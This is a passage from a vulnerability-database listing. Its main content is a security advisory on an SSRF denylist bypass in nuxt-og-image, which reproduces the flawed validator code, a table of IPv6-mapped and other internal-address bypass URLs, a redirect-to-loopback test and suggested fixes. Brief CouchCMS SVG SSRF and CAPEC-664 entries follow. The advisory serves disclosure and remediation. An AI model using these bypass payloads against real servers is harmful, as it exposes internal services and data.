const ip = mappedV4 ? mappedV4[1] : bare;
const parts = ip.split(".");
if (parts.length === 4 && parts.every((p) => RE_DIGIT_ONLY.test(p))) {
/* dotted-decimal IPv4 path */
}
if (RE_INT_IP.test(ip)) {
/* single-integer IPv4 path */
}
if (bare === "::1" || bare.startsWith("fc") || bare.startsWith("fd") || bare.startsWith("fe80"))
return true; // ← gap: only 4 IPv6 prefixes
return false; // ← everything else is "public"
}
// Then:
async function doResolveSrcToBuffer(src, kind, ctx) {
...
if (!import.meta.dev && isBlockedUrl(decodedSrc)) {
return { blocked: true };
}
const buffer = await $fetch(decodedSrc, { // ← follows 30x by default
responseType: "arrayBuffer",
timeout: fetchTimeout,
});
...
}
Two distinct issues:
- The IPv6 prefix list is hand-rolled (
fc,fd,fe80,::1) and inherits no taxonomy fromipaddr.jsor any RFC table. $fetchisofetch, which wraps Nodefetch()with defaultredirect: "follow". The validator does not run on the redirect target.
Reproducer (verbatim, no host privilege)
End-to-end test of isBlockedUrl on a corpus of internal-IP forms, paired with empirical fetch() confirming which forms actually reach loopback. Verbatim output:
isBlockedUrl? fetch reaches loopback? url
------------- ----------------------- ---
✓ blocked YES http://127.0.0.1:8765/ (control: dotted-decimal loopback)
✓ blocked YES http://localhost:8765/ (control)
✓ blocked no(ECONNREFUSED) http://[::1]:8765/ (control: IPv6 loopback)
✓ blocked no(EHOSTUNREACH) http://169.254.169.254:8765/ (control: AWS IMDS)
✓ blocked YES http://2130706433:8765/ (control: decimal-int IPv4)
✓ blocked YES http://0x7f000001:8765/ (control: hex-int IPv4)
✓ blocked YES http://0177.0.0.1:8765/ (control: octal — URL parser canonicalizes)
✓ blocked YES http://127.1:8765/ (control: shorthand — URL parser canonicalizes)
✗ NOT blocked YES http://[::ffff:7f00:1]:8765/ (BYPASS: IPv6-mapped, hex form)
✗ NOT blocked no(unreachable) http://[fec0::1]:8765/ (BYPASS: RFC 3879 site-local)
✗ NOT blocked no(unreachable) http://[5f00::1]:8765/ (BYPASS: RFC 9602 SRv6)
✗ NOT blocked no(unreachable) http://[3fff::1]:8765/ (BYPASS: RFC 9637 docs)
✗ NOT blocked no(unreachable) http://[64:ff9b:1::1]:8765/ (BYPASS: RFC 8215 NAT64)
✗ NOT blocked no(unreachable) http://[64:ff9b:1::7f00:1]:8765/ (BYPASS: NAT64 + embedded loopback)
The first six bypass rows say "✗ NOT blocked" — that is isBlockedUrl returning false (i.e., "this URL is fine to fetch") for each of those addresses. The "fetch reaches loopback" column shows that [::ffff:7f00:1] actually round-trips to 127.0.0.1 on a single-stack-IPv4 dev box; the four cluster ranges are unreachable on the dev box but succeed on dual-stack / k8s / NAT64 / SRv6 networks where any of these prefixes is internally bound.
The "control" rows confirm the bypass set is minimal — the validator catches the obvious cases. The bypasses are the cases the prefix list forgot.
Class 2: redirect amplifier
$fetch(url, { responseType: "arrayBuffer", timeout }) follows 30x by default. Confirmed empirically — ofetch('http://lab.menna.website/test/redirect-to-loopback') (where lab.menna.website returns 302 Location: http://127.0.0.1/) ends with <no response> fetch failed after the connect attempt to 127.0.0.1:80, proving the redirect was followed. On a target where the redirect destination has a service bound, the bytes round-trip back through the OG renderer.
Same primitive as #29 / #38 (ipx redirect bypass), in a different validator. The fix recommendations for #29 also apply here, with the same trade-offs.
Impact
A Nuxt application that uses nuxt-og-image (the official-recommended OG generator) and includes any user-influenced URL in an OG component is vulnerable to SSRF that returns the bytes of the internal response as part of the rendered OG image:
- Class 1 directly:
<img src="http://[::ffff:7f00:1]:PORT/path">reaches 127.0.0.1 on the OG worker. If the dev's deployment has anything bound to loopback (admin dashboards, internal HTTP-RPC, Redis HTTP UI, anything running alongside the function on the same machine in self-hosted setups), it leaks. - Class 1 cluster: the IPv6 cluster ranges trigger only on dual-stack / k8s / NAT64 networks — but those are exactly the production targets where SSRF matters most.
- Class 2 redirect: any allowed CDN with a redirect rule extends the reach to all RFC 1918 / loopback / link-local space.
nuxt-og-image is the OG-image module recommended in Nuxt's official documentation; it is shipped with Nuxt UI templates and is one of the top-2 Nuxt modules by GitHub stars. The user-facing primitive in real apps is "title/avatar comes from a request param" — exactly the same <NuxtLink to="/og?avatar=..."> pattern Nuxt docs encourage.
Suggested fix
Three non-exclusive options:
- Replace the hand-rolled IPv6 prefix list with
ipaddr.js'srange()predicate (or equivalent), then either: - explicitly deny the four cluster ranges that
ipaddr.jscurrently misses (fec0::/10,5f00::/16,3fff::/20,64:ff9b:1::/48), or - wait for the
ipaddr.jsupstream patch (see Vercel #27 — same gap, separately disclosed) and bump. -
In any case, also catch
[::ffff:7f00:1]either by wideningRE_MAPPED_V4or by classifying any::ffff:address as the embedded IPv4. -
Pass
redirect: "manual"in$fetchdefaults and reject 3xx. (Compareastro:assets, which already does this —await fetch(url, { redirect: "manual" })and explicit 3xx-rejection.) -
Pin the validated IP to the connection. Resolve the hostname once during validation, then pass a custom
undici.Agentwithconnect.lookupreturning the resolved IP only. This closes both the IPv6 bypass class (the resolved IP is checked again) and the redirect class (post-30x lookup is forced to the original IP). Reference:request-filtering-agenton npm.
(2) alone closes Class 2. (1) alone closes Class 1. (3) closes both with one change.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuxt-og-image"
},
"ranges": [
{
"events": [
{
"introduced": "6.2.5"
},
{
"fixed": "6.4.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44589"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T20:52:30Z",
"nvd_published_at": "2026-05-14T19:16:38Z",
"severity": "LOW"
},
"details": "## Summary\n\nThe `isBlockedUrl()` denylist introduced in `nuxt-og-image@6.2.5` to remediate **GHSA-pqhr-mp3f-hrpp** (Dmitry Prokhorov / Positive Technologies, March 2026) is incomplete. The patch advisory states \"Decimal/hexadecimal IP encoding bypasses are also handled\" \u2014 that part is true (Node\u0027s WHATWG URL parser canonicalizes those forms before validation), but the v6.2.5 implementation misses two independent surfaces in the latest release `6.4.8`:\n\n1. **IPv6 prefix list is incomplete.** The IPv6 branch checks only `bare === \"::1\" || startsWith(\"fc\") || startsWith(\"fd\") || startsWith(\"fe80\")`. It misses:\n - `[::ffff:7f00:1]` \u2014 IPv6-mapped IPv4 loopback in pure-hex form (RE_MAPPED_V4 regex requires dotted-quad). **Reaches 127.0.0.1 on a single-stack-IPv4 host with no other primitive needed.**\n - `[fec0::/10]` (RFC 3879 site-local \u2014 deprecated but still routable on legacy networks)\n - `[5f00::/16]` (RFC 9602 SRv6 SIDs)\n - `[3fff::/20]` (RFC 9637 IPv6 documentation v2)\n - `[64:ff9b:1::/48]` (RFC 8215 NAT64 local-use, including embedded IPv4 loopback `[64:ff9b:1::7f00:1]`)\n\n2. **No redirect re-validation.** `isBlockedUrl` runs once on the initial `\u003cimg src\u003e`. The subsequent `$fetch(decodedSrc, ...)` (ofetch, default redirect-follow) follows 30x responses with no second-pass validation. Any allowed origin that returns a 302 to an internal IP \u2014 S3 redirect rules, GCS, Azure, CloudFront, any user-content CDN where the attacker can place a single redirect \u2014 completes the SSRF.\n\nThe net result is that the v6.2.5 SSRF advisory is bypassable in two distinct ways. The same root family as #29 / #38 (ipx) but in a **different code path with different gaps** \u2014 `nuxt-og-image` does not delegate to `ipx`, it ships its own validator, and that validator has fresh issues that survived the prior fix.\n\n## Affected\n\n| Package | Version | Role |\n|------------------|-------------------|-----------------------------------------------------|\n| `nuxt-og-image` | `6.4.8` (latest) | default OG-image generator for Nuxt apps |\n| `@nuxtjs/og-image` (alias) | same | re-export, same code path |\n\nThe vulnerable code lives in `dist/runtime/server/og-image/core/plugins/imageSrc.js` and is enforced for every `\u003cimg src\u003e` (and `style=\"background-image: url(...)\"`) inside an OG image component, on production builds (`!import.meta.dev`).\n\n## Vulnerable code (`imageSrc.js`, verbatim)\n\n```js\nfunction isPrivateIPv4(a, b) {\n if (a === 127) return true;\n if (a === 10) return true;\n if (a === 172 \u0026\u0026 b \u003e= 16 \u0026\u0026 b \u003c= 31) return true;\n if (a === 192 \u0026\u0026 b === 168) return true;\n if (a === 169 \u0026\u0026 b === 254) return true;\n if (a === 0) return true;\n return false;\n}\nfunction isBlockedUrl(url) {\n let parsed;\n try { parsed = new URL(url); } catch { return true; }\n if (parsed.protocol !== \"http:\" \u0026\u0026 parsed.protocol !== \"https:\") return true;\n const hostname = parsed.hostname.toLowerCase();\n const bare = hostname.replace(RE_IPV6_BRACKETS, \"\");\n if (bare === \"localhost\" || bare.endsWith(\".localhost\")) return true;\n const mappedV4 = bare.match(RE_MAPPED_V4); // /^::ffff:(\\d+\\.\\d+\\.\\d+\\.\\d+)$/\n const ip = mappedV4 ? mappedV4[1] : bare;\n const parts = ip.split(\".\");\n if (parts.length === 4 \u0026\u0026 parts.every((p) =\u003e RE_DIGIT_ONLY.test(p))) {\n /* dotted-decimal IPv4 path */\n }\n if (RE_INT_IP.test(ip)) {\n /* single-integer IPv4 path */\n }\n if (bare === \"::1\" || bare.startsWith(\"fc\") || bare.startsWith(\"fd\") || bare.startsWith(\"fe80\"))\n return true; // \u2190 gap: only 4 IPv6 prefixes\n return false; // \u2190 everything else is \"public\"\n}\n\n// Then:\nasync function doResolveSrcToBuffer(src, kind, ctx) {\n ...\n if (!import.meta.dev \u0026\u0026 isBlockedUrl(decodedSrc)) {\n return { blocked: true };\n }\n const buffer = await $fetch(decodedSrc, { // \u2190 follows 30x by default\n responseType: \"arrayBuffer\",\n timeout: fetchTimeout,\n });\n ...\n}\n```\n\nTwo distinct issues:\n\n- **The IPv6 prefix list is hand-rolled** (`fc`, `fd`, `fe80`, `::1`) and inherits no taxonomy from `ipaddr.js` or any RFC table.\n- **`$fetch` is `ofetch`**, which wraps Node `fetch()` with default `redirect: \"follow\"`. The validator does not run on the redirect target.\n\n## Reproducer (verbatim, no host privilege)\n\nEnd-to-end test of `isBlockedUrl` on a corpus of internal-IP forms, paired with empirical `fetch()` confirming which forms actually reach loopback. Verbatim output:\n\n```\n isBlockedUrl? fetch reaches loopback? url\n ------------- ----------------------- ---\n \u2713 blocked YES http://127.0.0.1:8765/ (control: dotted-decimal loopback)\n \u2713 blocked YES http://localhost:8765/ (control)\n \u2713 blocked no(ECONNREFUSED) http://[::1]:8765/ (control: IPv6 loopback)\n \u2713 blocked no(EHOSTUNREACH) http://169.254.169.254:8765/ (control: AWS IMDS)\n \u2713 blocked YES http://2130706433:8765/ (control: decimal-int IPv4)\n \u2713 blocked YES http://0x7f000001:8765/ (control: hex-int IPv4)\n \u2713 blocked YES http://0177.0.0.1:8765/ (control: octal \u2014 URL parser canonicalizes)\n \u2713 blocked YES http://127.1:8765/ (control: shorthand \u2014 URL parser canonicalizes)\n\n \u2717 NOT blocked YES http://[::ffff:7f00:1]:8765/ (BYPASS: IPv6-mapped, hex form)\n \u2717 NOT blocked no(unreachable) http://[fec0::1]:8765/ (BYPASS: RFC 3879 site-local)\n \u2717 NOT blocked no(unreachable) http://[5f00::1]:8765/ (BYPASS: RFC 9602 SRv6)\n \u2717 NOT blocked no(unreachable) http://[3fff::1]:8765/ (BYPASS: RFC 9637 docs)\n \u2717 NOT blocked no(unreachable) http://[64:ff9b:1::1]:8765/ (BYPASS: RFC 8215 NAT64)\n \u2717 NOT blocked no(unreachable) http://[64:ff9b:1::7f00:1]:8765/ (BYPASS: NAT64 + embedded loopback)\n```\n\nThe first six bypass rows say \"\u2717 NOT blocked\" \u2014 that is `isBlockedUrl` returning `false` (i.e., \"this URL is fine to fetch\") for each of those addresses. The \"fetch reaches loopback\" column shows that `[::ffff:7f00:1]` actually round-trips to 127.0.0.1 on a single-stack-IPv4 dev box; the four cluster ranges are unreachable on the dev box but succeed on dual-stack / k8s / NAT64 / SRv6 networks where any of these prefixes is internally bound.\n\nThe \"control\" rows confirm the bypass set is minimal \u2014 the validator catches the obvious cases. The bypasses are the cases the prefix list forgot.\n\n### Class 2: redirect amplifier\n\n`$fetch(url, { responseType: \"arrayBuffer\", timeout })` follows 30x by default. Confirmed empirically \u2014 `ofetch(\u0027http://lab.menna.website/test/redirect-to-loopback\u0027)` (where `lab.menna.website` returns `302 Location: http://127.0.0.1/`) ends with `\u003cno response\u003e fetch failed` after the connect attempt to `127.0.0.1:80`, proving the redirect was followed. On a target where the redirect destination has a service bound, the bytes round-trip back through the OG renderer.\n\nSame primitive as #29 / #38 (ipx redirect bypass), in a different validator. The fix recommendations for #29 also apply here, with the same trade-offs.\n\n## Impact\n\nA Nuxt application that uses `nuxt-og-image` (the official-recommended OG generator) and includes any user-influenced URL in an OG component is vulnerable to SSRF that returns the bytes of the internal response as part of the rendered OG image:\n\n- **Class 1 directly:** `\u003cimg src=\"http://[::ffff:7f00:1]:PORT/path\"\u003e` reaches 127.0.0.1 on the OG worker. If the dev\u0027s deployment has anything bound to loopback (admin dashboards, internal HTTP-RPC, Redis HTTP UI, anything running alongside the function on the same machine in self-hosted setups), it leaks.\n- **Class 1 cluster:** the IPv6 cluster ranges trigger only on dual-stack / k8s / NAT64 networks \u2014 but those are exactly the production targets where SSRF matters most.\n- **Class 2 redirect:** any allowed CDN with a redirect rule extends the reach to all RFC 1918 / loopback / link-local space.\n\n`nuxt-og-image` is the OG-image module recommended in Nuxt\u0027s official documentation; it is shipped with Nuxt UI templates and is one of the top-2 Nuxt modules by GitHub stars. The user-facing primitive in real apps is \"title/avatar comes from a request param\" \u2014 exactly the same `\u003cNuxtLink to=\"/og?avatar=...\"\u003e` pattern Nuxt docs encourage.\n\n## Suggested fix\n\nThree non-exclusive options:\n\n1. **Replace the hand-rolled IPv6 prefix list with `ipaddr.js`\u0027s `range()` predicate** (or equivalent), then either:\n - explicitly deny the four cluster ranges that `ipaddr.js` currently misses (`fec0::/10`, `5f00::/16`, `3fff::/20`, `64:ff9b:1::/48`), or\n - wait for the `ipaddr.js` upstream patch (see Vercel #27 \u2014 same gap, separately disclosed) and bump.\n - In any case, also catch `[::ffff:7f00:1]` either by widening `RE_MAPPED_V4` or by classifying any `::ffff:` address as the embedded IPv4.\n\n2. **Pass `redirect: \"manual\"` in `$fetch` defaults** and reject 3xx. (Compare `astro:assets`, which already does this \u2014 `await fetch(url, { redirect: \"manual\" })` and explicit 3xx-rejection.)\n\n3. **Pin the validated IP to the connection.** Resolve the hostname once during validation, then pass a custom `undici.Agent` with `connect.lookup` returning the resolved IP only. This closes both the IPv6 bypass class (the resolved IP is checked again) and the redirect class (post-30x lookup is forced to the original IP). Reference: `request-filtering-agent` on npm.\n\n(2) alone closes Class 2. (1) alone closes Class 1. (3) closes both with one change.",
"id": "GHSA-c2rm-g55x-8hr5",
"modified": "2026-05-15T23:44:55Z",
"published": "2026-05-07T20:52:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuxt-modules/og-image/security/advisories/GHSA-c2rm-g55x-8hr5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44589"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuxt-modules/og-image"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "nuxt-og-image SSRF \u2014 bypass of GHSA-pqhr-mp3f-hrpp / v6.2.5 fix (IPv6 + redirect)"
}
GHSA-C329-4CX6-V738
Vulnerability from github – Published: 2026-05-15 21:31 – Updated: 2026-05-15 21:31CouchCMS 2.2.1 contains a server-side request forgery vulnerability that allows authenticated attackers to make arbitrary HTTP requests by uploading malicious SVG files. Attackers can upload SVG files containing external entity references through the browse.php endpoint to access internal services and resources.
{
"affected": [],
"aliases": [
"CVE-2021-47958"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-15T19:16:54Z",
"severity": "MODERATE"
},
"details": "CouchCMS 2.2.1 contains a server-side request forgery vulnerability that allows authenticated attackers to make arbitrary HTTP requests by uploading malicious SVG files. Attackers can upload SVG files containing external entity references through the browse.php endpoint to access internal services and resources.",
"id": "GHSA-c329-4cx6-v738",
"modified": "2026-05-15T21:31:32Z",
"published": "2026-05-15T21:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47958"
},
{
"type": "WEB",
"url": "https://github.com/CouchCMS/CouchCMS"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49675"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/couchcms-server-side-request-forgery-via-svg-upload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.